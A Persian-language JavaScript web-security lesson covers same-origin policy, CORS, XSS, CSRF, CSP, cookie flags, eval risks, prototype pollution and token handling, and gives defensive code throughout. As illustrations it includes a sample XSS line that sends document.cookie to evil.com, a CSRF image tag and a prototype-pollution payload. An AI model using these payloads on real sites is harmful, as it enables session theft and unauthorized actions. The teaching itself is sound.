امنیت جاوا اسکریپت

Same-Origin Policy و CORS، XSS و DOM XSS و CSRF، Content Security Policy، امنیت Cookie، اعتبارسنجی و Sanitization، خطرات eval و Prototype Pollution.

مبانی امنیت

اصول کلیدی امنیت وب:

Same-Origin Policy (SOP)

مرورگر اسکریپت‌های یک Origin را از دسترسی به منابع Origin دیگر منع می‌کند:

// Origin = Protocol + Domain + Port
// https://site.com/page
//   ├── https://site.com/api     ✓ همان Origin
//   ├── https://api.site.com/api ✗ دامنه متفاوت
//   ├── http://site.com/api      ✗ پروتکل متفاوت
//   └── https://site.com:8080    ✗ پورت متفاوت

// محدودیت‌های SOP:
// ✗ خواندن response درخواست بین‌Origin
// ✗ دسترسی به DOM iframe دیگر
// ✓ ارسال فرم و درخواست (ولی خواندن نه)

CORS — اشتراک منابع بین‌Origin

راه قانونی دور زدن محدودیت SOP — با اجازه سرور:

// سرور باید هدر بدهد:
// Access-Control-Allow-Origin: https://client.com
// Access-Control-Allow-Methods: GET, POST, PUT
// Access-Control-Allow-Headers: Content-Type, Authorization

// درخواست ساده — مستقیم می‌رود:
fetch("https://api.other.com/data");  // GET

// درخواست پیچیده — اول Preflight:
fetch("https://api.other.com/data", {
    method: "POST",
    headers: { "Content-Type": "application/json" },  // → Preflight!
    body: JSON.stringify(data)
});
// 1. مرورگر OPTIONS می‌فرستد
// 2. سرور اجازه می‌دهد
// 3. درخواست اصلی می‌رود
CORS در کلاینت قابل دور زدن نیست — کاملاً به هدرهای سرور وابسته است.

XSS — Cross-Site Scripting

تزریق کد مخرب به صفحه — خطرناک‌ترین حمله وب:

// آسیب‌پذیر: ❌
const userComment = \'<img src=x>\';  // ورودی کاربر
element.innerHTML = userComment;  // کد اجرا می‌شود!

// حمله واقعی:
// \'<script>fetch("https://evil.com/steal?c=" + document.cookie)</script>\'

// امن: ✓
element.textContent = userComment;  // متن — اجرا نمی‌شود!

انواع XSS

نوعنحوهمثال
Storedذخیره در سرور، نمایش به همهکامنت آلوده
Reflectedدر URL، بازگشت در پاسخ??search=<script>
DOM XSSکلا سمت کلاینتlocation.hash → innerHTML

DOM XSS — خطرناک برای JS

// آسیب‌پذیر — خواندن URL: ❌
const hash = location.hash.slice(1);
document.querySelector("#content").innerHTML = hash;
// URL: #<img src=x>

// امن: ✓
const hash = location.hash.slice(1);
document.querySelector("#content").textContent = hash;

// لیست امن sourceها:
// ✗ innerHTML, outerHTML, insertAdjacentHTML
// ✗ document.write
// ✗ eval, new Function, setTimeout(رشته)
// ✓ textContent, innerText
// ✓ createElement + textContent

Sanitization — پاک‌سازی HTML

// با DOMPurify — استاندارد صناعت:
// import DOMPurify from "dompurify";

const dirty = \'<img src=x><b>متن مجاز</b>\';
// const clean = DOMPurify.sanitize(dirty);
// console.log(clean); // "<b>متن مجاز</b>" — فقط تگ‌های امن

// sanitize دستی — فقط تگ‌های سفید:
function simpleSanitize(html) {
    const allowed = new Set(["B", "I", "EM", "STRONG", "P", "BR"]);
    const div = document.createElement("div");
    div.innerHTML = html;

    // پیمایش و حذف تگ‌های غیرمجاز:
    const walk = (node) => {
        [...node.children].forEach(child => {
            if (!allowed.has(child.tagName)) {
                // جایگزینی با متن:
                child.replaceWith(...child.childNodes);
            } else {
                // حذف همه ویژگی‌ها:
                [...child.attributes].forEach(attr =>
                    child.removeAttribute(attr.name)
                );
                walk(child);
            }
        });
    };

    walk(div);
    return div.innerHTML;
}

CSRF — جعل درخواست بین‌سایتی

فریب مرورگر برای ارسال درخواست ناخواسته با Cookie قربانی:

// کاربر در bank.com لاگین است (Cookie دارد)
// در سایت evil.com:
// <img src="https://bank.com/transfer?to=hacker&amount=1000">
// مرورگر Cookie را خودکار می‌فرستد!

// دفاع ۱ — CSRF Token:
// سرور: <input type="hidden" name="_token" value="random123">
// هر درخواست باید توکن داشته باشد

// دفاع ۲ — SameSite Cookie:
document.cookie = "session=abc; samesite=strict";

// دفاع ۳ — بررسی Origin:
// سرور: if (req.headers.origin !== "https://mysite.com") reject

Content Security Policy (CSP)

هدر قدرتمند برای محدود کردن منابع مجاز:

// در <head> یا هدر HTTP:
// Content-Security-Policy: 
//     default-src 'self';
//     script-src 'self' https://apis.google.com;
//     style-src 'self' 'unsafe-inline';
//     img-src 'self' data: https:;
//     connect-src 'self' https://api.mysite.com;

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'">

// اثر:
// ✗ اسکریپت inline — بلاک
// ✗ eval() — بلاک
// ✗ اسکریپت از دامنه دیگر — بلاک
// ✓ فقط فایل‌های خود سایت

امنیت Cookie

// هدرهای امن:
Set-Cookie: session=abc123;
    HttpOnly;      // ✗ دسترسی JS — ضد XSS
    Secure;        // فقط HTTPS
    SameSite=Strict; // ضد CSRF
    Path=/;
    Max-Age=3600;

// در جاوا اسکریپت — HttpOnly دیده نمی‌شود:
console.log(document.cookie); // بدون session!

خطرات eval

// هرگز: ❌
eval("alert(" + userInput + ")");           // تزریق کد!
new Function("return " + userInput)();       // همان خطر!
setTimeout("doSomething(" + data + ")", 100); // ارزیابی رشته!

// جایگزین‌ها: ✓
// JSON:
const data = JSON.parse(jsonString);

// محاسبه — Function سفارشی:
function safeCalculate(a, b, op) {
    const ops = {
        "+": (x, y) => x + y,
        "-": (x, y) => x - y,
        "*": (x, y) => x * y
    };
    return ops[op]?.(a, b) ?? "عملیات نامعتبر";
}

Prototype Pollution

// حمله — تزریق به prototype:
// ورودی مخرب: {"__proto__": {"isAdmin": true}}
const malicious = JSON.parse(\'{"__proto__": {"isAdmin": true}}\');

// ادغام ناامن: ❌
function unsafeMerge(target, source) {
    for (const key in source) {
        target[key] = source[key];  // __proto__ هم کپی می‌شود!
    }
}

// همه اشیا آلوده می‌شوند:
// ({}).isAdmin === true  → نفوذ!

// امن: ✓
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === "__proto__" || key === "constructor") continue;
        target[key] = source[key];
    }
}

// یا با Object.create(null) — بدون prototype:
const safe = Object.create(null);

اعتبارسنجی ورودی

// کلاینت — برای UX، سرور برای امنیت!
function validateInput(input, rules) {
    const errors = [];

    if (rules.required && !input?.trim()) {
        errors.push("این فیلد الزامی است");
    }
    if (rules.maxLength && input.length > rules.maxLength) {
        errors.push(`حداکثر ${rules.maxLength} کاراکتر`);
    }
    if (rules.pattern && !rules.pattern.test(input)) {
        errors.push("قالب نامعتبر");
    }
    if (rules.numeric && isNaN(Number(input))) {
        errors.push("باید عدد باشد");
    }

    return { valid: errors.length === 0, errors };
}

// استفاده:
const emailCheck = validateInput(userInput, {
    required: true,
    pattern: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
    maxLength: 254
});

امنیت API و توکن

// ذخیره امن توکن:
// ✗ localStorage — XSS می‌تواند بخواند
// ✓ HttpOnly Cookie — JS دسترسی ندارد
// ✓ حافظه (متغیر) — با refresh می‌رود + refresh token در cookie

// مدیریت توکن:
class TokenManager {
            #accessToken = null;
            #refreshEndpoint = "/api/refresh";

            async getValidToken() {
                if (!this.#accessToken || this.#isExpired()) {
                    await this.#refresh();
                }
                return this.#accessToken;
            }

            #isExpired() {
                if (!this.#accessToken) return true;
                const payload = JSON.parse(atob(this.#accessToken.split(".")[1]));
                return Date.now() / 1000 > payload.exp - 60;  // ۱ دقیقه قبل
            }

            async #refresh() {
                const res = await fetch(this.#refreshEndpoint, {
                    method: "POST",
                    credentials: "include"  // HttpOnly refresh cookie
                });
                const { token } = await res.json();
                this.#accessToken = token;
            }
        }

امنیت وابستگی‌ها

// npm audit — بررسی آسیب‌پذیری:
// npm audit
// npm audit fix

// قفل نسخه‌ها:
// package-lock.json را commit کنید

// بررسی قبل از نصب:
// npm view package-name

// ابزارها: Snyk, GitHub Dependabot

اسکریپت‌های شخص ثالث

// خطر — اسکریپت خارجی full access دارد:
// <script src="https://cdn.example.com/lib.js"></script>

// اگر CDN هک شود → سایت شما هم!
// دفاع‌ها:
// 1. SRI — Subresource Integrity:
// <script src="..." integrity="sha384-Base64Hash" crossorigin="anonymous">

// 2. Self-host — خودتان میزبانی کنید
// 3. CSP — محدود کردن دامنه‌ها

جمع‌بندی — چک‌لیست امنیت

این مبحث بخشی از دوره آموزش کامل جاوا اسکریپت است.

ابزارهای مرتبط